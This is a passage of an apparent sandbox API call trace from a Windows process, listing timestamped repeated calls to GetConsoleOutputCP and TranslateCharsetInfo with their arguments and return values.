[0065.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.769] GetConsoleOutputCP () returned 0x1b5 [0065.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.769] GetConsoleOutputCP () returned 0x1b5 [0065.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.769] GetConsoleOutputCP () returned 0x1b5 [0065.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.769] GetConsoleOutputCP () returned 0x1b5 [0065.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.769] GetConsoleOutputCP () returned 0x1b5 [0065.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.769] GetConsoleOutputCP () returned 0x1b5 [0065.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.769] GetConsoleOutputCP () returned 0x1b5 [0065.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.769] GetConsoleOutputCP () returned 0x1b5 [0065.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.769] GetConsoleOutputCP () returned 0x1b5 [0065.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.769] GetConsoleOutputCP () returned 0x1b5 [0065.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.769] GetConsoleOutputCP () returned 0x1b5 [0065.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.770] GetConsoleOutputCP () returned 0x1b5 [0065.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.770] GetConsoleOutputCP () returned 0x1b5 [0065.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.770] GetConsoleOutputCP () returned 0x1b5 [0065.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.770] GetConsoleOutputCP () returned 0x1b5 [0065.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.770] GetConsoleOutputCP () returned 0x1b5 [0065.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.770] GetConsoleOutputCP () returned 0x1b5 [0065.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.770] GetConsoleOutputCP () returned 0x1b5 [0065.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.770] GetConsoleOutputCP () returned 0x1b5 [0065.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.770] GetConsoleOutputCP () returned 0x1b5 [0065.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.770] GetConsoleOutputCP () returned 0x1b5 [0065.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.770] GetConsoleOutputCP () returned 0x1b5 [0065.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.771] GetConsoleOutputCP () returned 0x1b5 [0065.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.771] GetConsoleOutputCP () returned 0x1b5 [0065.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.771] GetConsoleOutputCP () returned 0x1b5 [0065.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.771] GetConsoleOutputCP () returned 0x1b5 [0065.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.771] GetConsoleOutputCP () returned 0x1b5 [0065.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.771] GetConsoleOutputCP () returned 0x1b5 [0065.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.771] GetConsoleOutputCP () returned 0x1b5 [0065.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.771] GetConsoleOutputCP () returned 0x1b5 [0065.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.771] GetConsoleOutputCP () returned 0x1b5 [0065.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.771] GetConsoleOutputCP () returned 0x1b5 [0065.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.771] GetConsoleOutputCP () returned 0x1b5 [0065.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.772] GetConsoleOutputCP () returned 0x1b5 [0065.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.772] GetConsoleOutputCP () returned 0x1b5 [0065.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.772] GetConsoleOutputCP () returned 0x1b5 [0065.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.772] GetConsoleOutputCP () returned 0x1b5 [0065.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.772] GetConsoleOutputCP () returned 0x1b5 [0065.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.772] GetConsoleOutputCP () returned 0x1b5 [0065.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.772] GetConsoleOutputCP () returned 0x1b5 [0065.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.772] GetConsoleOutputCP () returned 0x1b5 [0065.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.772] GetConsoleOutputCP () returned 0x1b5 [0065.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.772] GetConsoleOutputCP () returned 0x1b5 [0065.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.773] GetConsoleOutputCP () returned 0x1b5 [0065.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.773] GetConsoleOutputCP () returned 0x1b5 [0065.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.773] GetConsoleOutputCP () returned 0x1b5 [0065.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.773] GetConsoleOutputCP () returned 0x1b5 [0065.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.773] GetConsoleOutputCP () returned 0x1b5 [0065.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.773] GetConsoleOutputCP () returned 0x1b5 [0065.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.773] GetConsoleOutputCP () returned 0x1b5 [0065.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.773] GetConsoleOutputCP () returned 0x1b5 [0065.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.773] GetConsoleOutputCP () returned 0x1b5 [0065.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.773] GetConsoleOutputCP () returned 0x1b5 [0065.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.773] GetConsoleOutputCP () returned 0x1b5 [0065.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.774] GetConsoleOutputCP () returned 0x1b5 [0065.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.774] GetConsoleOutputCP () returned 0x1b5 [0065.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.774] GetConsoleOutputCP () returned 0x1b5 [0065.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.774] GetConsoleOutputCP () returned 0x1b5 [0065.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.774] GetConsoleOutputCP () returned 0x1b5 [0065.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.774] GetConsoleOutputCP () returned 0x1b5 [0065.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.774] GetConsoleOutputCP () returned 0x1b5 [0065.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.774] GetConsoleOutputCP () returned 0x1b5 [0065.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.774] GetConsoleOutputCP () returned 0x1b5 [0065.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.774] GetConsoleOutputCP () returned 0x1b5 [0065.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.774] GetConsoleOutputCP () returned 0x1b5 [0065.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.775] GetConsoleOutputCP () returned 0x1b5 [0065.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.775] GetConsoleOutputCP () returned 0x1b5 [0065.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.775] GetConsoleOutputCP () returned 0x1b5 [0065.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.775] GetConsoleOutputCP () returned 0x1b5 [0065.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.775] GetConsoleOutputCP () returned 0x1b5 [0065.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.775] GetConsoleOutputCP () returned 0x1b5 [0065.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.775] GetConsoleOutputCP () returned 0x1b5 [0065.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.775] GetConsoleOutputCP () returned 0x1b5 [0065.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.775] GetConsoleOutputCP () returned 0x1b5 [0065.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.775] GetConsoleOutputCP () returned 0x1b5 [0065.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.776] GetConsoleOutputCP () returned 0x1b5 [0065.776] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.776] GetConsoleOutputCP () returned 0x1b5 [0065.776] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678900, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678900) returned 0 [0065.776] GetConsoleOutputCP () returned 0x1b5 [0065.776] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.776] GetConsoleOutputCP () returned 0x1b5 [0065.776] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.776] GetConsoleOutputCP () returned 0x1b5 [0065.776] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.776] GetConsoleOutputCP () returned 0x1b5 [0065.776] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.776] GetConsoleOutputCP () returned 0x1b5 [0065.776] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.776] GetConsoleOutputCP () returned 0x1b5 [0065.776] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.776] GetConsoleOutputCP () returned 0x1b5 [0065.776] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.776] GetConsoleOutputCP () returned 0x1b5 [0065.776] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.776] GetConsoleOutputCP () returned 0x1b5 [0065.776] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.777] GetConsoleOutputCP () returned 0x1b5 [0065.777] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.777] GetConsoleOutputCP () returned 0x1b5 [0065.777] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.777] GetConsoleOutputCP () returned 0x1b5 [0065.777] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.777] GetConsoleOutputCP () returned 0x1b5 [0065.777] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.777] GetConsoleOutputCP () returned 0x1b5 [0065.777] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.777] GetConsoleOutputCP () returned 0x1b5 [0065.777] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.777] GetConsoleOutputCP () returned 0x1b5 [0065.777] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.777] GetConsoleOutputCP () returned 0x1b5 [0065.777] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.777] GetConsoleOutputCP () returned 0x1b5 [0065.777] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.777] GetConsoleOutputCP () returned 0x1b5 [0065.777] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.777] GetConsoleOutputCP () returned 0x1b5 [0065.777] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.778] GetConsoleOutputCP () returned 0x1b5 [0065.778] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.778] GetConsoleOutputCP () returned 0x1b5 [0065.778] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.778] GetConsoleOutputCP () returned 0x1b5 [0065.778] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.778] GetConsoleOutputCP () returned 0x1b5 [0065.778] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.778] GetConsoleOutputCP () returned 0x1b5 [0065.778] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.778] GetConsoleOutputCP () returned 0x1b5 [0065.778] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.778] GetConsoleOutputCP () returned 0x1b5 [0065.778] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.778] GetConsoleOutputCP () returned 0x1b5 [0065.778] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.778] GetConsoleOutputCP () returned 0x1b5 [0065.778] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.778] GetConsoleOutputCP () returned 0x1b5 [0065.778] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.778] GetConsoleOutputCP () returned 0x1b5 [0065.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.779] GetConsoleOutputCP () returned 0x1b5 [0065.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.779] GetConsoleOutputCP () returned 0x1b5 [0065.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.779] GetConsoleOutputCP () returned 0x1b5 [0065.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.779] GetConsoleOutputCP () returned 0x1b5 [0065.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.779] GetConsoleOutputCP () returned 0x1b5 [0065.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.779] GetConsoleOutputCP () returned 0x1b5 [0065.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.779] GetConsoleOutputCP () returned 0x1b5 [0065.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.779] GetConsoleOutputCP () returned 0x1b5 [0065.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.779] GetConsoleOutputCP () returned 0x1b5 [0065.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.779] GetConsoleOutputCP () returned 0x1b5 [0065.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.779] GetConsoleOutputCP () returned 0x1b5 [0065.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.780] GetConsoleOutputCP () returned 0x1b5 [0065.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.780] GetConsoleOutputCP () returned 0x1b5 [0065.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.780] GetConsoleOutputCP () returned 0x1b5 [0065.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.780] GetConsoleOutputCP () returned 0x1b5 [0065.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.780] GetConsoleOutputCP () returned 0x1b5 [0065.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.780] GetConsoleOutputCP () returned 0x1b5 [0065.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.780] GetConsoleOutputCP () returned 0x1b5 [0065.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.780] GetConsoleOutputCP () returned 0x1b5 [0065.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.780] GetConsoleOutputCP () returned 0x1b5 [0065.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.780] GetConsoleOutputCP () returned 0x1b5 [0065.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.780] GetConsoleOutputCP () returned 0x1b5 [0065.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.781] GetConsoleOutputCP () returned 0x1b5 [0065.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.781] GetConsoleOutputCP () returned 0x1b5 [0065.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 